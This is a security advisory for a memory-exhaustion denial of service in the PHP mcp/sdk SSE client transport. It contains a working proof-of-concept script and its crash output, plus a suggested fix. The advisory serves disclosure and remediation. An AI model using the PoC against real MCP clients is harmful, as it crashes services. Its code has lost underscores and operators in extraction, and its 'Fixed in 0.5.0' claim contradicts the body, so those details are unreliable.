CVE-2026-53965: Composer/mcp/sdk vulnerability
Summary
The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer ($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the "\n\n" delimiter makes $sseBuffer grow without limit until the client process exhausts its PHP memorylimit (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer.
This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.
Impact
- Type: Denial of service (memory exhaustion / process crash) of the MCP client. - Who can trigger it: The remote MCP server endpoint the client connects to via HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed. - Effect: A response stream of N bytes containing no "\n\n" drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical memorylimit. - Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.
How input reaches the sink (reachability)
1. A client connects to a server over the HTTP transport by constructing Mcp\Client\Transport\HttpTransport with the server endpoint URL, then runs the connect/request loop. 2. The transport's loop calls tick() (line 182), which calls processSSEStream() (line 194) on each iteration. 3. processSSEStream() reads up to 4096 bytes from the active SSE stream and appends them to $this->sseBuffer (line 203). 4. The buffer is only drained inside the while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) loop (line 207). If the server never emits "\n\n", the strpos never matches, the buffer is never flushed, and it grows on every tick() until OOM.
Vulnerable code
src/Client/Transport/HttpTransport.php (v0.5.0):
php private string $sseBuffer = '';
php private function processSSEStream(): void { if (null === $this->activeStream) { return; }
if (!$this->activeStream->eof()) { $chunk = $this->activeStream->read(4096); if ('' !== $chunk) { $this->sseBuffer .= $chunk; // line 203 — unbounded append } }
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) { $event = substr($this->sseBuffer, 0, $pos); $this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) { $this->processSSEEvent($event); } }
if ($this->activeStream->eof() && empty($this->sseBuffer)) { $this->activeStream = null; } }
$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a "\n\n" delimiter is present.
Proof of concept / End-to-end reproduction (against the released composer package)
Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release mcp/sdk v0.5.0 (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink.
Install the released package:
$ composer require mcp/sdk:0.5.0 --no-interaction - Installing mcp/sdk (v0.5.0): Extracting archive $ composer show mcp/sdk name : mcp/sdk versions : v0.5.0
PoC driver (pocsse.php). It exercises the unmodified released processSSEStream(); the ProbeHttp subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large body (4096 bytes per read()) that never contains "\n\n", mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client:
php <?php require DIR . '/vendor/autoload.php'; use Mcp\Client\Transport\HttpTransport; use Psr\Http\Message\StreamInterface; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface;
final class FloodStream implements StreamInterface { private int $served = 0; public function construct(private int $total) {} public function read(int $length): string { if ($this->served >= $this->total) return ''; $n = min($length, $this->total - $this->served); $this->served += $n; return strrepeat('A', $n); // never contains "\n\n" } public function eof(): bool { return $this->served >= $this->total; } public function toString(): string { return ''; } public function close(): void {} public function detach() { return null; } public function getSize(): ?int { return $this->total; } public function tell(): int { return $this->served; } public function isSeekable(): bool { return false; } public function seek(int $o, int $w = SEEKSET): void {} public function rewind(): void {} public function isWritable(): bool { return false; } public function write(string $s): int { return 0; } public function isReadable(): bool { return true; } public function getContents(): string { return ''; } public function getMetadata(?string $key = null) { return null; } } final class NullHttpClient implements ClientInterface { public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); } } final class NullRequestFactory implements RequestFactoryInterface { public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); } } final class NullStreamFactory implements StreamFactoryInterface { public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); } } final class ProbeHttp extends HttpTransport { public function inject(StreamInterface $s): void { (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s); } public function pump(): void { (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this); } } function fmtMB(int $b): string { return numberformat($b/1048576,1).' MB'; } $mode = $argv[1] ?? 'attack'; $t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());
if ($mode === 'control') { $body = ''; for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n"; $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp); $t->inject(new FloodStream(0)); // replaced below by a real stream over $tmp $stream = new class($tmp) implements StreamInterface { public function construct(private $h) {} public function read(int $l): string { return (string) fread($this->h, $l); } public function eof(): bool { return feof($this->h); } public function toString(): string { return ''; } public function close(): void {} public function detach() { return null; } public function getSize(): ?int { return null; } public function tell(): int { return 0; } public function isSeekable(): bool { return false; } public function seek(int $o,int $w=SEEKSET): void {} public function rewind(): void {} public function isWritable(): bool { return false; } public function write(string $s): int { return 0; } public function isReadable(): bool { return true; } public function getContents(): string { return ''; } public function getMetadata(?string $k=null) { return null; } }; $t->inject($stream); $before = memorygetusage(true); for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump(); fwrite(STDERR,"[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n"); fwrite(STDERR,"[control] mem before : ".fmtMB($before)."\n"); fwrite(STDERR,"[control] mem after : ".fmtMB(memorygetusage(true))."\n"); fwrite(STDERR,"[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n"); exit(0); }
iniset('memorylimit','256M'); $SIZE = 40010241024; // 400MB SSE body, NO "\n\n" $t->inject(new FloodStream($SIZE)); fwrite(STDERR,"[attack] SSE body : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n"); fwrite(STDERR,"[attack] memorylimit : ".iniget('memorylimit')."\n"); fwrite(STDERR,"[attack] mem before : ".fmtMB(memorygetusage(true))."\n"); registershutdownfunction(function() { $err = errorgetlast(); fwrite(STDERR,"[attack] peak mem : ".numberformat(memorygetpeakusage(true)/1048576,1)." MB\n"); if ($err && stripos($err['message'],'memory')!==false) fwrite(STDERR,"[attack] RESULT : OOM — ".trim($err['message'])."\n"); }); for ($i=0;;$i++) { $t->pump(); } // each pump reads one 4096 chunk -> sseBuffer
Negative control — 1000 well-formed SSE events delimited by "\n\n": each pump flushes complete events, the buffer drains, memory stays flat:
$ php pocsse.php control [control] events fed : 1000 well-formed SSE events (delimited by \n\n) [control] mem before : 2.0 MB [control] mem after : 2.0 MB [control] RESULT : bounded, no OOM (each event flushed on \n\n)
Attack — a 400 MB SSE body with no "\n\n", client heap capped at 256 MB to make the crash deterministic (a production client has a larger or unbounded limit and is killed by the OS at whatever ceiling exists):
$ php pocsse.php attack [attack] SSE body : 400.0 MB with NO \n\n delimiter [attack] memorylimit : 256M [attack] mem before : 2.0 MB PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203 Stack trace: #0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream() #1 /private/tmp/work/pocsse.php(69): ReflectionMethod->invoke(Object(ProbeHttp)) #2 /private/tmp/work/pocsse.php(129): ProbeHttp->pump() #3 {main} [attack] peak mem : 256.0 MB [attack] RESULT : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)
The fatal error lands on the released vendor file vendor/mcp/sdk/src/Client/Transport/HttpTransport.php line 203, inside processSSEStream(), while the delimiter-respecting control workload stays at 2.0 MB. This confirms the unbounded SSE accumulation on the real released package.
Suggested fix
Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example:
php private const MAXSSEBUFFERBYTES = 8 1024 1024; // 8 MiB, configurable
private function processSSEStream(): void { if (null === $this->activeStream) { return; }
if (!$this->activeStream->eof()) { $chunk = $this->activeStream->read(4096); if ('' !== $chunk) { if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAXSSEBUFFERBYTES) { $this->sseBuffer = ''; $this->activeStream = null; $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [ 'maxssebufferbytes' => self::MAXSSEBUFFERBYTES, ]);
return; } $this->sseBuffer .= $chunk; } }
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) { $event = substr($this->sseBuffer, 0, $pos); $this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) { $this->processSSEEvent($event); } }
if ($this->activeStream->eof() && empty($this->sseBuffer)) { $this->activeStream = null; } }
The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report.
Fix PR
A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.
Credit
Reported by tonghuaroot.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/mcp/sdkto a version that resolves this vulnerability.Fixed in 0.7.1 - Upgrade
Upgrade
mcp/sdkto a version that resolves this vulnerability.Fixed in 0.5.0 - Configuration
Bound the SSE in-memory buffer in HttpTransport by enforcing an upper limit: if (strlen($this->sseBuffer) + strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) then abort/reject the stream (over-limit policy as implemented in the fix). In v0.5.0 this corresponds to the added check around line 203 where `$this->sseBuffer .= $chunk;` previously had no length guard.
mcp/sdk (Mcp\Client\Transport\HttpTransport::processSSEStream) MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
MCP client processes that use the SDK's HttpTransport to consume SSE responses are exposed when they connect to a server that can stream response data without sending an SSE event delimiter.
What does an attacker need to do to trigger the denial of service?
The attacker must control the remote MCP server endpoint, compromise it, or control or inject its SSE response body. They can continuously stream data while withholding the "\n\n" event delimiter, preventing the client buffer from being flushed.
How can I tell whether a client has been affected?
Affected clients can terminate after exhausting their PHP memory_limit with an "Allowed memory size ... exhausted" fatal error. If the operating system runs out of memory, it may instead kill the client process through its OOM-killer.